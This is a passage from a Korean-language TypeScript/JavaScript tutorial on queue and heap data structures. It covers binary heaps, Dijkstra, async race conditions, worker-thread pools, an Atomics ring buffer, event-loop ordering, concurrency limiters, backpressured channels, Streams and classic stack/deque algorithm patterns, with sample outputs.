const a = this.#a, x = a[i];
while (i > 0) {
const p = (i - 1) >> 1;
if (this.#cmp(x, a[p]) >= 0) break;
a[i] = a[p]; i = p; // 부모를 내리고 자리를 올라감 (swap 보다 쓰기 절반)
}
a[i] = x;
}
#down(i: number): void {
const a = this.#a, n = a.length, x = a[i];
for (;;) {
let c = 2 * i + 1;
if (c >= n) break;
if (c + 1 < n && this.#cmp(a[c + 1], a[c]) < 0) c++; // 더 앞서는 자식
if (this.#cmp(a[c], x) >= 0) break;
a[i] = a[c]; i = c;
}
a[i] = x;
}
raw(): readonly T[] { return [...this.#a]; } // 디버깅용
}
방향 · 다중 키 · 안정성 (실행 결과)
import { BinaryHeap } from "./heap.ts";
// ① 최소 힙 / 최대 힙 — 비교 함수의 방향만 바꿉니다
const minH = new BinaryHeap<number>((a, b) => a - b, [5, 3, 8, 1, 9, 2]);
console.log(minH.raw()); // [ 1, 3, 2, 5, 9, 8 ] ← 위 그림
const out: number[] = [];
while (minH.size) out.push(minH.pop()!);
console.log(out); // [ 1, 2, 3, 5, 8, 9 ]
const maxH = new BinaryHeap<number>((a, b) => b - a, [5, 3, 8, 1, 9, 2]);
console.log(maxH.pop(), maxH.pop()); // 9 8
// ② 다중 키 — 우선순위 오름차순, 같으면 먼저 온 것(seq)
type Job = { name: string; pri: number; seq: number };
let seq = 0;
const jobs = new BinaryHeap<Job>((a, b) => a.pri - b.pri || a.seq - b.seq);
for (const [name, pri] of [["메일", 2], ["결제", 1], ["로그", 3], ["환불", 1], ["알림", 2]] as const)
jobs.push({ name, pri, seq: seq++ });
const order: string[] = [];
while (jobs.size) order.push(jobs.pop()!.name);
console.log(order.join(" → ")); // 결제 → 환불 → 메일 → 알림 → 로그
// ③ seq 가 없으면? 같은 우선순위끼리 순서가 섞입니다
const h = new BinaryHeap<{ name: string; pri: number }>((a, b) => a.pri - b.pri);
for (const [name, pri] of [["a", 1], ["b", 1], ["c", 1], ["d", 0], ["e", 1]] as const) h.push({ name, pri });
const r: string[] = [];
while (h.size) r.push(h.pop()!.name);
console.log(r.join(" ")); // d e b c a ← a b c e 순서로 넣었는데!
Array.prototype.sort 는 ES2019 부터 안정 정렬이 명세지만, 힙에는 그런 보장이 없습니다.
top-k · 다익스트라 — 힙이 실제로 쓰이는 두 자리 🟡 중급
top-k — 크기 k 의 최소 힙
// 큰 것 k 개를 남기려면 "최소" 힙: 맨 위가 지금까지의 k 등
function topK(nums: Iterable<number>, k: number): number[] {
const h = new BinaryHeap<number>((a, b) => a - b);
for (const x of nums) {
if (h.size < k) h.push(x);
else if (x > h.peek()!) { h.pop(); h.push(x); } // k 등보다 크면 교체
}
const r: number[] = [];
while (h.size) r.push(h.pop()!);
return r.reverse();
}
console.log(topK([7, 2, 19, 4, 11, 3, 15, 8], 3)); // [ 19, 15, 11 ]
// O(n log k) · 메모리 O(k) — 스트림(끝을 모르는 입력)에도 그대로
toSorted().slice(0, k))은 O(n log n) 에 메모리 O(n) 입니다.
n 이 수천이면 어느 쪽도 괜찮고, 로그 수백만 줄에서 상위 10개처럼 n 이 크고 k 가 작을 때 힙이 이깁니다.
다익스트라 — 낡은 항목은 꺼낼 때 버린다
type Graph = Record<string, [to: string, w: number][]>;
function dijkstra(graph: Graph, src: string): Record<string, number> {
const dist = new Map<string, number>([[src, 0]]);
const pq = new BinaryHeap<[number, string]>((a, b) => a[0] - b[0], [[0, src]]);
while (pq.size) {
const [d, u] = pq.pop()!;
if (d > (dist.get(u) ?? Infinity)) continue; // ★ 이미 더 짧은 길을 찾음 (lazy deletion)
for (const [v, w] of graph[u] ?? []) {
const nd = d + w;
if (nd < (dist.get(v) ?? Infinity)) { dist.set(v, nd); pq.push([nd, v]); }
}
}
return Object.fromEntries(dist);
}
const g: Graph = { A: [["B", 4], ["C", 1]], C: [["B", 2], ["D", 7]], B: [["D", 1]] };
console.log(dijkstra(g, "A")); // { A: 0, B: 3, C: 1, D: 4 }
continue 로 버립니다. 실무 구현 대부분이 이 방식입니다.
함정 — 힙 밖에서 우선순위를 바꾸면
const x = { name: "x", pri: 5 }, y = { name: "y", pri: 3 };
const h2 = new BinaryHeap<typeof x>((a, b) => a.pri - b.pri, [x, y]);
x.pri = 1; // 힙은 이 변경을 모릅니다
console.log(h2.pop()!.name); // "y" ← x 가 더 급한데!
// ✅ 바꿔야 하면: 새 객체를 push 하고 낡은 것은 꺼낼 때 버리기 (다익스트라 방식)
// 또는 인덱스를 추적하는 indexed heap 을 쓰기
패키지를 쓴다면
| 패키지 | 성격 |
|---|---|
@datastructures-js/priority-queue | comparator 를 받는 PriorityQueue, 숫자 키용 MinPriorityQueue · MaxPriorityQueue. TS 타입 포함 |
tinyqueue | 아주 작은 이진 힙(push · pop · peek). 지도 라이브러리 진영에서 많이 씀 |
mnemonist | Heap · FibonacciHeap 등 |
p-queue | "비동기 작업"에 우선순위 + 동시성 제한 — 자료구조가 아니라 작업 큐 (SQ 07) |
@datastructures-js/priority-queue 는 메이저 버전 사이에 dequeue() 의 반환 형태가 바뀐 적이 있습니다
(예전에는 { element, priority } 묶음). 업그레이드 때 반드시 확인하세요.
스레드 사이의 큐 — Worker · MessageChannel · Atomics
자바의 BlockingQueue 에 해당하는 것이 JS 에는 없습니다. 대신 JS 는 객체를 스레드끼리 공유하지 않는 모델이라
락이 필요한 자리가 거의 없습니다. 스레드 사이의 큐는 메시지 포트(복사)와 SharedArrayBuffer(공유 바이트) 두 길뿐입니다.
먼저 — 한 스레드 안의 "경쟁 상태"
메인 스레드 하나라서 락이 필요 없다는 말은 await 가 없는 구간에서만 맞습니다.
await 를 넘는 순간 다른 콜백이 끼어듭니다.
// race.mjs
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
let loads = 0;
async function load(k) { loads++; await sleep(10); return k.toUpperCase(); }
// ❌ 확인 → await → 저장 : 사이에 다른 호출이 끼어든다
const cache = new Map();
async function getBad(k) {
if (!cache.has(k)) cache.set(k, await load(k));
return cache.get(k);
}
await Promise.all([getBad("a"), getBad("a"), getBad("a")]);
console.log("bad loads", loads); // bad loads 3
// ✅ Promise 를 먼저 넣는다 — 확인과 저장 사이에 await 가 없다
loads = 0;
const cache2 = new Map();
function getGood(k) {
if (!cache2.has(k)) cache2.set(k, load(k).catch((e) => { cache2.delete(k); throw e; }));
return cache2.get(k);
}
console.log(await Promise.all([getGood("a"), getGood("a"), getGood("a")]), "good loads", loads);
// [ 'A', 'A', 'A' ] good loads 1
// 배열 큐도 같다 — length 를 보고 await 한 뒤 shift 하면
const q = ["job"];
async function consumer(name) {
if (q.length > 0) { await sleep(1); console.log(name, q.shift()); }
}
await Promise.all([consumer("c1"), consumer("c2")]);
// c1 job
// c2 undefined ← 둘 다 "있다"를 봤다
const job = q.shift(); if (job) await run(job) 처럼
먼저 꺼내고 나서 기다리면 경쟁이 사라집니다.
Worker 풀 — 메인의 작업 큐 + MessagePort
// worker-pool.mjs — 한 파일이 메인이자 워커
import { Worker, isMainThread, parentPort, MessageChannel } from "node:worker_threads";
import { once } from "node:events";
if (!isMainThread) {
parentPort.on("message", (msg) => {
if (msg === null) { parentPort.close(); return; } // ★ 독약(poison pill) — 종료 신호
const { id, n } = msg;
let s = 0;
for (let i = 0; i < n; i++) s += i % 7; // CPU 를 먹는 일
parentPort.postMessage({ id, s });
});
} else {
// ① MessagePort 자체가 FIFO 큐 — 리스너를 달기 전에 보낸 것도 순서대로 쌓여 있다
const { port1, port2 } = new MessageChannel();
for (const m of ["a", "b", "c"]) port1.postMessage(m);
const got = [];
port2.on("message", (m) => {
got.push(m);
if (got.length === 3) { console.log("MessageChannel 순서", got.join("")); port2.close(); }
});
// ② 워커 2개 — 대기 작업은 메인 큐에, 빈 워커가 생기면 하나씩 준다(= 배압)
const tasks = [3e7, 1e7, 2e7, 1e7, 1e7].map((n, id) => ({ id, n }));
const pending = [...tasks]; // 5개뿐이라 shift 로 충분
const results = new Map();
const workers = Array.from({ length: 2 }, () => new Worker(new URL(import.meta.url)));
await new Promise((done) => {
const feed = (w) => {
const t = pending.shift();
if (t) w.postMessage(t);
else if (results.size === tasks.length) done();
};
for (const w of workers) {
w.on("message", ({ id, s }) => {
results.set(id, s);
console.log(`작업 ${id} 완료 (워커 ${w.threadId})`);
feed(w);
});
feed(w);
}
});
console.log("결과 수", results.size, "작업0 =", results.get(0));
// 정상 종료: null 을 보내고 'exit' 를 기다림 (terminate 는 하던 일을 끊음)
await Promise.all(workers.map((w) => { w.postMessage(null); return once(w, "exit"); }));
console.log("모든 워커 종료");
}
// MessageChannel 순서 abc
// 작업 1 완료 (워커 2)
// 작업 0 완료 (워커 1)
// 작업 2 완료 (워커 2) ← 완료 순서는 실행마다 달라질 수 있음
// 작업 3 완료 (워커 1)
// 작업 4 완료 (워커 2)
// 결과 수 5 작업0 = 89999995
// 모든 워커 종료
| 자바 BlockingQueue 개념 | JS 대응 | 메모 |
|---|---|---|
| 스레드 간 FIFO | MessagePort · worker.postMessage | 구조화 복제(structured clone)로 복사. 함수 · 클래스 인스턴스의 메서드는 못 보냄 |
| 큰 데이터 넘기기 | postMessage(buf, [buf]) 전송 목록 | ArrayBuffer 소유권을 옮김(복사 없음) — 보낸 쪽 buf 는 길이 0 이 됨 |
| 유한 큐 · 배압 | "빈 워커에게만 하나씩" (위 feed) | 워커 쪽 포트에 무한정 쌓지 말 것 — 메모리 · 지연이 같이 늘어남 |
take() 블로킹 | 워커 안의 Atomics.wait | 브라우저 메인 스레드에서는 금지(Atomics.waitAsync 사용) |
| poison pill | postMessage(null) 후 parentPort.close() | worker.terminate() 는 즉시 중단 — 진행 중 작업이 사라짐 |
| ConcurrentLinkedQueue | SharedArrayBuffer + Atomics 링 버퍼 | 바이트만 공유. 단일 생산자 · 단일 소비자(SPSC)가 가장 단순 |
SharedArrayBuffer + Atomics — SPSC 링 버퍼 🔴 고급
Atomics.store 순서를 지키면 락 없이 안전합니다.spsc.mjs — 10만 개를 두 워커 사이로
import { Worker, isMainThread, workerData, parentPort } from "node:worker_threads";
const HEAD = 0, TAIL = 1; // 계속 증가하는 번호 (칸 = 번호 & MASK)
const CAP = 8, MASK = CAP - 1;
const N = 100_000;
if (isMainThread) {
const sab = new SharedArrayBuffer(4 * (2 + CAP)); // ctrl 2칸 + data 8칸
const run = (role) => new Promise((ok, fail) => {
const w = new Worker(new URL(import.meta.url), { workerData: { sab, role } });
w.once("message", ok).once("error", fail);
});
const [, sum] = await Promise.all([run("producer"), run("consumer")]);
console.log("합계", sum, "기대", (N * (N + 1)) / 2);
// 합계 5000050000 기대 5000050000
} else {
const ctrl = new Int32Array(workerData.sab, 0, 2);
const data = new Int32Array(workerData.sab, 8, CAP);
if (workerData.role === "producer") {
let tail = 0;
for (let v = 1; v <= N; v++) {
for (;;) {
const head = Atomics.load(ctrl, HEAD);
if (tail - head < CAP) break; // 빈칸 있음
Atomics.wait(ctrl, HEAD, head); // 꽉 참 → head 가 바뀔 때까지 잠
}
data[tail & MASK] = v; // ① 값을 먼저
Atomics.store(ctrl, TAIL, ++tail); // ② 그다음 공개
Atomics.notify(ctrl, TAIL);
}
parentPort.postMessage(0);
} else {
let head = 0, sum = 0;
for (let got = 0; got < N; ) {
if (Atomics.load(ctrl, TAIL) === head) { // 비어 있음
Atomics.wait(ctrl, TAIL, head);
continue;
}
sum += data[head & MASK];
Atomics.store(ctrl, HEAD, ++head); // 칸을 돌려줌
Atomics.notify(ctrl, HEAD);
got++;
}
parentPort.postMessage(sum);
}
}
정확히 알아야 할 것
- 왜 안전한가 —
Atomics.*연산은 순차 일관(sequentially consistent)입니다. ①의 일반 쓰기는 ②의Atomics.store보다 먼저 일어나고, 소비자가 ④Atomics.load로 새 tail 을 보면 ①도 보입니다. ①과 ②의 순서를 바꾸면 이 보장이 깨집니다. Atomics.wait(arr, i, v)는 "arr[i]가 아직v면 잠든다"입니다. 확인과 잠들기가 한 번에 일어나므로 notify 를 놓치는 일이 없습니다.- 번호가 계속 증가 —
tail - head로 개수를 구합니다. Int32 라 약 21억 개를 넘기면 넘칩니다 (오래 도는 서비스면 주기적으로 0 으로 되돌리거나 칸 번호만 저장). - 값은 숫자만 — SAB 에는 바이트만 들어갑니다. 객체를 보내려면 직렬화하거나 MessagePort 를 쓰세요.
- 브라우저 — SharedArrayBuffer 는 교차 출처 격리(
COOP: same-origin+COEP: require-corp) 페이지에서만 쓸 수 있고, 메인 스레드에서는Atomics.wait대신Atomics.waitAsync를 씁니다.
비동기 큐 — 이벤트 루프 · p-limit · 채널 · Streams
JS 에서 가장 많이 쓰는 큐는 사실 눈에 안 보입니다. 이벤트 루프가 큐 여러 개이고,
await 하나하나가 마이크로태스크 큐에 줄을 섭니다. 이 절은 그 큐들의 순서를 확인한 뒤,
동시성 제한 큐 · 배압 있는 채널 · 스트림을 직접 만들고 씁니다.
실제 실행 순서 — event-loop.mjs
import { readFile } from "node:fs";
console.log("A 동기");
setTimeout(() => console.log("F 타이머 큐 (setTimeout 0)"), 0);
setImmediate(() => console.log("G check 큐 (setImmediate)"));
readFile(import.meta.filename, () => {
console.log("H I/O 콜백 (poll)");
setTimeout(() => console.log("J I/O 안에서 건 타이머"), 0);
setImmediate(() => console.log("I I/O 안에서 건 immediate"));
});
Promise.resolve().then(() => console.log("C 마이크로태스크 (then)"));
queueMicrotask(() => {
console.log("D 마이크로태스크 (queueMicrotask)");
Promise.resolve().then(() => console.log("D2 비우는 도중 추가 — 이번에 바로"));
});
process.nextTick(() => console.log("E nextTick 큐"));
console.log("B 동기");
$ node event-loop.mjs (Node 24, 5회 모두 같은 순서)
A 동기
B 동기
C 마이크로태스크 (then)
D 마이크로태스크 (queueMicrotask)
D2 비우는 도중 추가 — 이번에 바로
E nextTick 큐 ← ESM 에서는 마이크로태스크 뒤!
F 타이머 큐 (setTimeout 0)
G check 큐 (setImmediate)
H I/O 콜백 (poll)
I I/O 안에서 건 immediate ← I/O 콜백 안에서는 항상 타이머보다 먼저
J I/O 안에서 건 타이머
읽는 법 — 큐 관점
- 동기 코드가 콜스택을 다 비운 뒤에야 어떤 큐든 돌기 시작합니다(A, B).
- 마이크로태스크 큐는 "비울 때까지" 돕니다. 비우는 도중 추가된 D2 도 이번 차례에 실행됩니다.
그래서
then안에서 계속then을 거는 코드는 타이머 · I/O 를 영원히 굶길 수 있습니다. - nextTick 과 Promise 의 순서는 파일 형식에 따라 다릅니다. 이 PC 실측:
.mjs(ESM) 는then → nextTick, 같은 코드를.cjs로 돌리면nextTick → then. ESM 의 최상위 코드는 그 자체가 Promise 작업 안에서 평가되기 때문입니다. 둘의 순서에 기대는 코드를 쓰지 마세요. - 메인 모듈의
setTimeout(0)vssetImmediate는 Node 문서상 순서가 보장되지 않습니다 (이 PC 에선 F 가 먼저였지만). I/O 콜백 안에서는 check 단계가 바로 다음이라 immediate 가 항상 먼저입니다(I → J).
동시성 제한 큐 — p-limit 을 30줄로 🟡 중급
limit.ts — 큐는 SQ 04 의 Deque
// limit.ts — p-limit 과 같은 생각
import { Deque } from "./deque.ts";
export function createLimit(concurrency: number) {
if (!Number.isInteger(concurrency) || concurrency < 1) throw new RangeError("concurrency >= 1");
const waiting = new Deque<() => void>(); // 차례를 기다리는 "출발 신호" (FIFO)
let active = 0;
const next = () => {
if (active >= concurrency) return;
waiting.popFront()?.();
};
return function limit<R>(task: () => R | PromiseLike<R>): Promise<R> {
return new Promise<R>((resolve, reject) => {
waiting.pushBack(() => {
active++;
// task() 가 동기로 throw 해도 reject 로 바뀌게 then 안에서 부른다
Promise.resolve()
.then(task)
.then(resolve, reject)
.finally(() => { active--; next(); }); // ★ 성공 · 실패 모두 슬롯 반납
});
next();
});
};
}
Promise.try(task) 를 쓰면 Promise.resolve().then(task) 대신
task 를 동기로 바로 시작하면서 throw 를 reject 로 바꿉니다(Node 24 에서 사용 가능).
한 틱 늦게 시작해도 괜찮다면 지금 코드 그대로도 됩니다.
써 보기 — 위 그림의 로그
import { createLimit } from "./limit.ts";
const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
const t0 = performance.now();
const stamp = () => String(Math.round((performance.now() - t0) / 100) * 100).padStart(4);
const limit = createLimit(2);
const jobs = [300, 100, 200, 100, 100].map((ms, i) =>
limit(async () => {
console.log(`${stamp()}ms 시작 #${i}`);
await sleep(ms);
if (i === 3) throw new Error(`#${i} 실패`);
return `#${i} 완료`;
}),
);
const results = await Promise.allSettled(jobs);
console.log(results.map((r) => (r.status === "fulfilled" ? r.value : (r.reason as Error).message)));
// 0ms 시작 #0
// 0ms 시작 #1
// 100ms 시작 #2
// 300ms 시작 #3
// 300ms 시작 #4
// [ '#0 완료', '#1 완료', '#2 완료', '#3 실패', '#4 완료' ]
| 필요한 것 | 패키지 |
|---|---|
| 동시성 제한만 | p-limit (내부 큐는 yocto-queue) |
+ 우선순위 · 일시정지 · onIdle() | p-queue |
| 콜백형 고성능 작업 큐 | fastq |
| 재시작해도 살아남아야 | BullMQ (Redis) — NestJS 탭 s13 |
채널 — 배압 · 닫기 · 취소 · for await 🔴 고급
channel.ts — 유한 비동기 큐 (tsc --strict 통과)
import { Deque } from "./deque.ts";
export class ClosedError extends Error { override name = "ClosedError"; }
type Waiter<T> = { resolve: (r: IteratorResult<T, undefined>) => void; reject: (e: unknown) => void };
type Sender<T> = { value: T; resolve: () => void; reject: (e: unknown) => void };
export class Channel<T> implements AsyncIterable<T> {
#buf = new Deque<T>();
#receivers = new Deque<Waiter<T>>(); // 값을 기다리는 소비자
#senders = new Deque<Sender<T>>(); // 자리를 기다리는 생산자
#closed = false;
readonly #cap: number;
constructor(capacity = 1) { this.#cap = capacity; }
/** 꽉 차 있으면 자리가 날 때까지 기다린다 — 이것이 배압 */
send(value: T): Promise<void> {
if (this.#closed) return Promise.reject(new ClosedError("send on closed channel"));
const r = this.#receivers.popFront();
if (r) { r.resolve({ value, done: false }); return Promise.resolve(); } // 소비자에게 직행
if (this.#buf.size < this.#cap) { this.#buf.pushBack(value); return Promise.resolve(); }
return new Promise((resolve, reject) => this.#senders.pushBack({ value, resolve, reject }));
}
receive(signal?: AbortSignal): Promise<IteratorResult<T, undefined>> {
if (this.#buf.size) {
const value = this.#buf.popFront() as T;
const s = this.#senders.popFront(); // 자리가 났으니 생산자 하나를 들인다
if (s) { this.#buf.pushBack(s.value); s.resolve(); }
return Promise.resolve({ value, done: false });
}
const s = this.#senders.popFront(); // 용량 0(랑데부)일 때
if (s) { s.resolve(); return Promise.resolve({ value: s.value, done: false }); }
if (this.#closed) return Promise.resolve({ value: undefined, done: true });
if (signal?.aborted) return Promise.reject(signal.reason);
return new Promise((resolve, reject) => {
const onAbort = () => {
// 대기열에서 빼고 거절 — 안 빼면 나중 값이 떠난 소비자에게 가서 사라진다
const keep = [...this.#receivers].filter((w) => w !== waiter);
this.#receivers = new Deque();
keep.forEach((w) => this.#receivers.pushBack(w));
reject(signal!.reason);
};
const waiter: Waiter<T> = {
resolve: (v) => { signal?.removeEventListener("abort", onAbort); resolve(v); },
reject,
};
this.#receivers.pushBack(waiter);
signal?.addEventListener("abort", onAbort, { once: true });
});
}
close(): void {
if (this.#closed) return;
this.#closed = true;
for (let r; (r = this.#receivers.popFront()); ) r.resolve({ value: undefined, done: true });
for (let s; (s = this.#senders.popFront()); ) s.reject(new ClosedError("channel closed"));
}
/** for await (const x of ch) — 닫히고 버퍼가 비면 끝난다 */
async *[Symbol.asyncIterator](): AsyncIterator<T> {
for (;;) {
const r = await this.receive();
if (r.done) return;
yield r.value;
}
}
}
빠른 생산자 · 느린 소비자 (실행 결과)
import { Channel } from "./channel.ts";
const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms));
const t0 = performance.now();
const at = () => String(Math.floor((performance.now() - t0) / 100) * 100).padStart(4) + "ms";
const ch = new Channel<number>(2); // 버퍼 2칸
async function producer() {
for (let i = 1; i <= 5; i++) {
await ch.send(i); // 버퍼가 차면 여기서 멈춘다
console.log(`${at()} 보냄 ${i}`);
}
ch.close();
console.log(`${at()} 닫음`);
}
async function consumer() {
for await (const x of ch) {
console.log(`${at()} 받음 ${x}`);
await sleep(100); // 소비자가 느리다
}
console.log(`${at()} 소비 끝`);
}
await Promise.all([producer(), consumer()]);
// 0ms 보냄 1
// 0ms 보냄 2
// 0ms 보냄 3 ← 1 은 곧바로 소비자가 가져가서 2·3 이 버퍼 2칸
// 0ms 받음 1
// 100ms 보냄 4 ← 여기부터 소비 속도에 맞춰 느려짐 = 배압
// 100ms 받음 2
// 200ms 보냄 5
// 200ms 닫음
// 200ms 받음 3 ← 닫아도 버퍼에 남은 것은 끝까지 받는다
// 300ms 받음 4
// 400ms 받음 5
// 500ms 소비 끝
// 취소 — 200ms 안에 값이 안 오면 포기
const empty = new Channel<number>();
const ac = new AbortController();
const timer = setTimeout(() => ac.abort(new Error("200ms 동안 값 없음")), 200);
try {
await empty.receive(ac.signal);
} catch (e) {
console.log("취소:", (e as Error).message); // 취소: 200ms 동안 값 없음
} finally {
clearTimeout(timer);
}
// 닫힌 채널을 배열로 — Array.fromAsync (Node 22+ · TS 는 lib 에 "ESNext" 필요)
const c2 = new Channel<number>(10);
for (const x of [1, 2, 3]) await c2.send(x);
c2.close();
console.log(await Array.fromAsync(c2)); // [ 1, 2, 3 ]
AbortSignal.timeout(200) 을 쓰면 이 예제는 끝나지 않고 종료됩니다.
Node 에서 그 타이머는 프로세스를 붙잡지 않아서, 기다릴 다른 일이 없자 이 PC 에서
Warning: Detected unsettled top-level await 와 함께 종료 코드 13 으로 끝났습니다.
서버처럼 다른 일이 계속 도는 곳에서는 괜찮지만, 스크립트에서는 위처럼 setTimeout + AbortController 가 확실합니다.
Streams — highWaterMark 가 곧 큐 크기 🟡 중급
Node Writable 와 Web ReadableStream (실행 결과)
import { Writable } from "node:stream";
import { once } from "node:events";
import { setTimeout as sleep } from "node:timers/promises";
// ① 내부 버퍼(큐)가 highWaterMark 에 닿으면 write() 가 false
const slow = new Writable({
objectMode: true,
highWaterMark: 3, // 객체 3개
async write(chunk, _enc, cb) { await sleep(50); cb(); }, // 느린 소비자
});
let paused = 0;
for (let i = 1; i <= 8; i++) {
const ok = slow.write(i);
console.log(`write(${i}) → ${ok} 버퍼 ${slow.writableLength}`);
if (!ok) { paused++; await once(slow, "drain"); } // ★ 배압 신호를 지킨다
}
slow.end();
await once(slow, "finish");
console.log("drain 대기 횟수", paused);
// write(1) → true 버퍼 1 ← 지금 쓰는 중인 것도 버퍼에 셉니다
// write(2) → true 버퍼 2
// write(3) → false 버퍼 3 ← 멈춤
// write(4) → true 버퍼 1
// write(5) → true 버퍼 2
// write(6) → false 버퍼 3
// write(7) → true 버퍼 1
// write(8) → true 버퍼 2
// drain 대기 횟수 2
// ② Web Streams — 소비자가 읽을 때 pull. 큐에 highWaterMark 만큼 미리 채움
let made = 0;
const rs = new ReadableStream(
{ pull(c) { c.enqueue(++made); if (made === 5) c.close(); } },
new CountQueuingStrategy({ highWaterMark: 2 }),
);
await sleep(10);
console.log("아무도 안 읽었는데 미리 만든 개수", made); // 2
for await (const x of rs) { console.log("읽음", x); if (x === 3) break; }
// 읽음 1 · 읽음 2 · 읽음 3 (break 하면 스트림이 cancel 됨)
무엇을 기억하나
write()의 반환값을 무시하면 스트림 내부 큐가 끝없이 늘어납니다 — 파일 · 소켓이 느릴 때 메모리가 터지는 대표 원인.false면'drain'까지 멈추세요.- 가장 쉬운 정답은
pipeline()입니다 —await pipeline(source, transform, dest)는 배압 · 에러 전파 · 정리를 대신 해 줍니다(node:stream/promises). - highWaterMark 의 단위 — 바이트 스트림은 바이트(기본값은 Node 버전마다 다를 수 있어 직접 지정 권장),
objectMode는 객체 개수, Web Streams 는CountQueuingStrategy(개수) ·ByteLengthQueuingStrategy(바이트). - Web Streams 는 브라우저 · Node · Deno · 엣지 런타임 공통입니다.
fetch응답 본문이ReadableStream이므로 큰 응답은for await로 조금씩 읽으면 메모리가 일정합니다.
| 개념 | Node stream | Web Streams |
|---|---|---|
| 큐 크기 | highWaterMark | QueuingStrategy |
| 배압 신호 | write() → false · 'drain' | desiredSize ≤ 0 · writer.ready |
| 연결 | pipeline() | pipeTo() · pipeThrough() |
| 취소 | destroy() · signal 옵션 | cancel() · pipeTo(…, { signal }) |
createLimit(p-limit),
생산자-소비자는 Channel, 바이트 흐름은 Streams — 셋 다 큐가 차면 생산자를 기다리게 하는 배압이 핵심입니다.알고리즘 패턴 — 괄호 · 단조 스택 · BFS · 단조 덱 · undo
코딩 테스트와 실무 양쪽에서 스택 · 큐 · 덱이 실제로 쓰이는 모양들입니다.
전부 JS 관용 코드로, 출력은 이 PC 에서 돌린 그대로입니다. 큐 자리에는 SQ 04 의 Deque 를 씁니다.
스택 두 가지 — 괄호 검사 · 다음 큰 수
// ① 괄호 검사 — 여는 괄호를 쌓고 닫는 괄호에서 짝 확인
const PAIR: Record<string, string> = { ")": "(", "]": "[", "}": "{" };
function balanced(s: string): boolean {
const st: string[] = [];
for (const ch of s) {
if (ch === "(" || ch === "[" || ch === "{") st.push(ch);
else if (ch in PAIR) {
if (st.pop() !== PAIR[ch]) return false; // 빈 스택 pop 은 undefined → false
}
}
return st.length === 0;
}
console.log(balanced("{a[(b)]c}"), balanced("([)]"), balanced("(("), balanced("]"));
// true false false false
// ② 단조 스택 — 오른쪽에서 처음 만나는 더 큰 값
function nextGreater(a: number[]): number[] {
const res = new Array<number>(a.length).fill(-1);
const st: number[] = []; // 인덱스를 담는다 (값은 감소 순)
for (let i = 0; i < a.length; i++) {
while (st.length && a[st.at(-1)!] < a[i]) res[st.pop()!] = a[i];
st.push(i);
}
return res;
}
console.log(nextGreater([2, 7, 3, 5, 4, 6, 8]));
// [ 7, 8, 5, 6, 6, 8, -1 ]
// 주식 "며칠 뒤 더 오르나" · 히스토그램 최대 직사각형 · 온도 문제가 같은 모양
BFS — 격자 최단 거리
function bfs(grid: string[][], [sr, sc]: [number, number], [tr, tc]: [number, number]): number {
const R = grid.length, C = grid[0].length;
const dist = Array.from({ length: R }, () => new Array<number>(C).fill(-1));
const q = new Deque<[number, number]>();
q.pushBack([sr, sc]); dist[sr][sc] = 0;
while (!q.isEmpty()) {
const [r, c] = q.popFront()!;
if (r === tr && c === tc) return dist[r][c];
for (const [dr, dc] of [[1, 0], [-1, 0], [0, 1], [0, -1]]) {
const nr = r + dr, nc = c + dc;
if (nr < 0 || nc < 0 || nr >= R || nc >= C) continue;
if (grid[nr][nc] === "#" || dist[nr][nc] !== -1) continue;
dist[nr][nc] = dist[r][c] + 1; // ★ 넣을 때 방문 표시 (꺼낼 때 하면 중복 삽입)
q.pushBack([nr, nc]);
}
}
return -1;
}
const maze = ["S..#", ".#..", "...#", "#..T"].map((row) => [...row]);
console.log(bfs(maze, [0, 0], [3, 3])); // 6
덱 두 가지 — 윈도우 최댓값 · 0-1 BFS
// ③ 위 그림 그대로
function windowMax(a: number[], k: number): number[] {
const dq = new Deque<number>(), out: number[] = []; // 인덱스를 담는다
for (let i = 0; i < a.length; i++) {
if (!dq.isEmpty() && dq.peekFront()! <= i - k) dq.popFront(); // 창 밖
while (!dq.isEmpty() && a[dq.peekBack()!] <= a[i]) dq.popBack(); // 나보다 작은 뒤쪽
dq.pushBack(i);
if (i >= k - 1) out.push(a[dq.peekFront()!]);
}
return out;
}
console.log(windowMax([1, 3, -1, -3, 5, 3, 6, 7], 3)); // [ 3, 3, 5, 5, 6, 7 ]
// ④ 0-1 BFS — 가중치가 0 이면 앞에, 1 이면 뒤에 → 다익스트라 없이 O(V + E)
function zeroOneBfs(n: number, edges: [number, number, 0 | 1][], src: number): number[] {
const adj: [number, 0 | 1][][] = Array.from({ length: n }, () => []);
for (const [u, v, w] of edges) adj[u].push([v, w]);
const dist = new Array<number>(n).fill(Infinity);
dist[src] = 0;
const dq = new Deque<number>();
dq.pushBack(src);
while (!dq.isEmpty()) {
const u = dq.popFront()!;
for (const [v, w] of adj[u]) {
if (dist[u] + w < dist[v]) {
dist[v] = dist[u] + w;
w === 0 ? dq.pushFront(v) : dq.pushBack(v);
}
}
}
return dist;
}
console.log(zeroOneBfs(5, [[0, 1, 1], [0, 2, 0], [2, 1, 0], [1, 3, 1], [2, 4, 1], [4, 3, 0]], 0));
// [ 0, 0, 0, 1, 1 ]
q[head++])를 쓰세요.
undo / redo — 두 스택 + 불변 업데이트 (ES2023) 🟡 중급
복사본을 돌려주는 ES2023 메서드
const stack = [1, 2, 3];
const pushed = [...stack, 4]; // push 대신
const popped = stack.slice(0, -1); // pop 대신 (또는 stack.toSpliced(-1, 1))
const top = stack.at(-1); // peek
console.log(stack, pushed, popped, top);
// [ 1, 2, 3 ] [ 1, 2, 3, 4 ] [ 1, 2 ] 3
console.log(stack.toReversed(), stack.with(0, 9), stack);
// [ 3, 2, 1 ] [ 9, 2, 3 ] [ 1, 2, 3 ] ← 원본 그대로
console.log([10, 9, 1].toSorted(), [10, 9, 1].toSorted((a, b) => a - b));
// [ 1, 10, 9 ] [ 1, 9, 10 ] ← 비교 함수 없으면 문자열 순 (SQ 10)
| 원본을 바꿈 | 복사본 (ES2023) |
|---|---|
reverse() | toReversed() |
sort(fn) | toSorted(fn) |
splice(i, n, …) | toSpliced(i, n, …) |
a[i] = v | with(i, v) |
push(x) · pop() | [...a, x] · a.slice(0, -1) |
push 는 화면을 안 바꿉니다. 같은 배열 참조라서 React 가 "안 바뀌었다"고 봅니다.
상태로 쓰는 스택은 항상 새 배열을 만드세요. 복사는 O(n) 이므로 히스토리에는 상한을 둡니다.
historyReducer — useReducer 에 그대로
// history.ts — 순수 함수라 React 없이 테스트 가능
type History<T> = { past: T[]; present: T; future: T[] };
type Action<T> = { type: "edit"; value: T } | { type: "undo" } | { type: "redo" };
